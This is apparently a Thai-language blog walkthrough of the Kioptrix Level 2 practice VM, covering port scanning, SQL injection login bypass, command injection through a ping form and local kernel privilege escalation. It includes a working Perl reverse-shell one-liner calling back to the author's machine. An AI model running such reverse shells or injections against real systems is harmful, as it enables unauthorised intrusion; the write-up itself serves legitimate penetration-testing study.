Skip to main content

Kioptrix Level 2 Walkthrough <> รีวิว Lab Kioptrix level 2

This lab is one of Kioptrix series that I learned before take OSCP exam on 2015. For this post I write with only Thai language. However you can simply understand my step from pictures. 

post วันนี้เอา lab สมัยตอนเตรียมตัวสอบ oscp มา walkthrough ย้อนหลัง ชื่อ Kioptrix level 2 ครับ เขียนรีวิวไว้ตั้งแต่สอบเสร็จปี 2015 ละ แต่ไม่ได้ publish ถ้าใครสนใจก็ลองไปโหลดตัว VM image ได้ที่ vulnhub นะครับ มีหลายระดับ แปะ link ไว้ให้ตามนี้ http://www.kioptrix.com/blog/test-page/  เหมาะสำหรับการศึกษาเรียนรู้ครับ


1. เริ่มต้นเราจะใช้ nmap scan port และ service ก่อน







 ได้ผลลัพธ์ตามนี้ สังเกตในกรอบสีแดง คือ service ที่น่าสนใจ



2. ทดลองเข้าหน้า web จะพบหน้า login ดังรูป

  แล้วลอง login ดู 

3. แล้วใช้ burp ดัก เพื่อดูข้อมูลที่ส่งไปยัง server พบว่ามีการส่ง username, password ใน post body



4. ทดลองใช้ sqlmap ทำ injection โดยนำค่าใน post method ที่ดักจาก Burp มาใช้ด้วย




5. ทดสอบนำ payload จาก sqlmap มาทำการ login



จะพบหน้าให้ทดสอบ ping


6. ลองใส่ ip เข้าไปเพื่อทดสอบ ping 




7. ทดสอบใส่คำสั่งของ Linux OS เข้าไปเป็นแบบ multiple command พบว่าสามารถใช้ได้ ผลที่ได้ดังรูป




8. ก่อนอื่นลอง ทดสอบดูว่ามี perl ติดตั้งบนเครื่อง web server ไหม 



9. เมื่อพบว่ามี perl ติดตั้ง จึงทดสอบทำ perl reverse shell กลับมายัง kali โดยการใช้ netcat ตั้ง listening ที่ port 4443 



แล้ว perl reverse shell in one line

                  perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.79.129:4443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


***โดย 192.168.79.129 คือ ip ของ kali linux***



10. สามารถได้ reverse shell กลับมา ตามภาพ ซึ่งยังไม่ได้สิทธิ์ root และไม่ได้ interactive shell




11. สังเกตว่า เราจะยังได้เป็น non-interactive shell  จึงต้องทำการใช้คำสั่ง python เพื่อเรียก interactive shell  ตอนนี้จะเห็นว่าเราได้ user ที่เป็น "apache" ซึ่งมีสิทธิ์น้อยกว่า root 


12. ทำการใช้คำสั่งในการ enumerate เพื่อทำ escalate สิทธิ์ให้เป็น root ต่อไป




13. ได้ kernel version ของ host เป้าหมาย เรานำมา search หา local exploit 



14. ทำการ Upload ไฟล์ไปยังเป้าหมาย




15. ทำการ compile ไฟล์ภาษา C ให้กลายเป็น exploit เพื่อ execute ใน web server เป้าหมาย


16. ทำการ exploit จาก ไฟล์ที่ compile เสร็จแล้ว พบว่าสามารถได้สิทธิ์ root เรียบร้อย (Got a shell !!!)


ยังมี Kioptrix ที่ทำไว้อีกหลาย level เดี๋ยวจะทยอยเขียนต่อไป

Comments

Popular posts from this blog

CesarFTP BOF Review / Review การทำ Buffer Overflow CesarFTP

version ภาษาไทย ไว้มีเวลาจะมา update ภายหลังครับ Today I would like to review my old one lesson about buffer overflow before I take the OSCP exam in 2015. I wish you learn basic BOF from this post. CesarFTP is the one ftp software which is vulnerabled to BOF (buffer overflow). 1. The first step I download vulnerabled software from internet and install on WinXP (vm) and then 2. Try to search for exploit in my kali linux  (No, I don't exploit by metasploit just find the start code and try to make it overflow) This original python 1906.py code is as picture below. I have to change "host" ip before do next step. ***Let's take a look at "buffer". That is something I have to modify later.*** but right now I begin with Fuzzing to find how many characters can crash this application ? 3. Control EIP address - try to replace character after  "\n" * 671 by "A" 350 characters and found that Cesar not be crashed. - Let&

My OSCP Review <-> รีวิว ประสบการณ์การสอบ OSCP ( It is just the beginning)

เนื้อหาภาษาไทยสามารถดูได้ด้านล่างนะครับ About me I would like to tell you before that my english writing skill is not good, ^^", but I will try . I was Network Engineer and System Engineer with 10 years working experience and have CCNP, CCNP Security, CCDP, ITIL, MCP and I have experience in ISO27001 for 4 years. Right now I move to be a Penetration Tester in new company for 6 months. Inspiration Actually before getting a new job as pentester I would like to take CEH or ECSA certificate. But after do a new job, my three colleagues have OSCP and they are my model. All of them have an awesome skill. Then I try to find more information about OSCP and found that OSCP is very difficult to pass, no exam dump, no one answer you. Although I have a few experience on hacking but I think I can try and TRY HARDER. OSCP Course There are two course manual, pdf and video that are dependent. After I got them I tried to read from PDF only but not enough, many technics ar

Patch Management และ Hardening คืออะไร/ ยังไง พร้อมวิธีการ ตอนที่ 1

post นี้ก็เช่นเกียวกับโพสต์อื่นๆที่ ผู้เขียนเขียนขึ้นจากประสบการณ์การทำงานนะครับ ส่วนในเรื่องของ ISO27001 ทางผู้เขียนยังไม่รู้ครอบคลุมขนาดนั้น ขอยังไม่กล่าวถึง คงได้เขียนหลังจากสอบ CISSP ได้แล้ว (ตอนนี้ยังอยู่ในวงการ Pentest อยู่เลยจ้า) คืออะไร ? Patch Management และ Hardening  -  เป็นส่วนนึงของ configuration management process ใน ISO27001 และมาตรฐานทางด้านความปลอดถัยอื่นๆ ด้วย  ทำไมต้องมีการทำ patch และ hardening เรื่องของ Patch management จริงๆ ก็จะเกี่ยวข้องกับการทำ Hardening นะละ นั่นคือทำเพื่อปิดช่องโหว่ให้น้อยที่สุดเพื่อลดความเสี่ยงที่จะถูกโจมตีจากผู้ไม่ประสงค์ดี มันก็ไม่ดีใช่ไหมละ ถ้าระบบของเราโดนโจมตี ซึ่งอาจจะเป็นในแง่ของการขโมยข้อมูล หรือที่องค์กรส่วนใหญ่รับไม่ค่อยได้คือการโดน dos จนทำให้อุปกรณ์ไม่สามารถให้บริการต่อได้ ก็เรื่อง Availability ไง ในบางบริษัทที่มีการทำ transaction เกี่ยวกับเงินนี่ เขาคิดค่าเสียหายเป็นนาทีเลยนะ ล่มแค่ครึ่งชั่วโมงก็เสียหายหนักแล้ว กระบวนการการทำ Patch กับ hardening ก็จะมีดังนี้ คือ เขียน flow ให้ดูกันง่ายๆ อ่านคำอธิบายต่อได้ด้า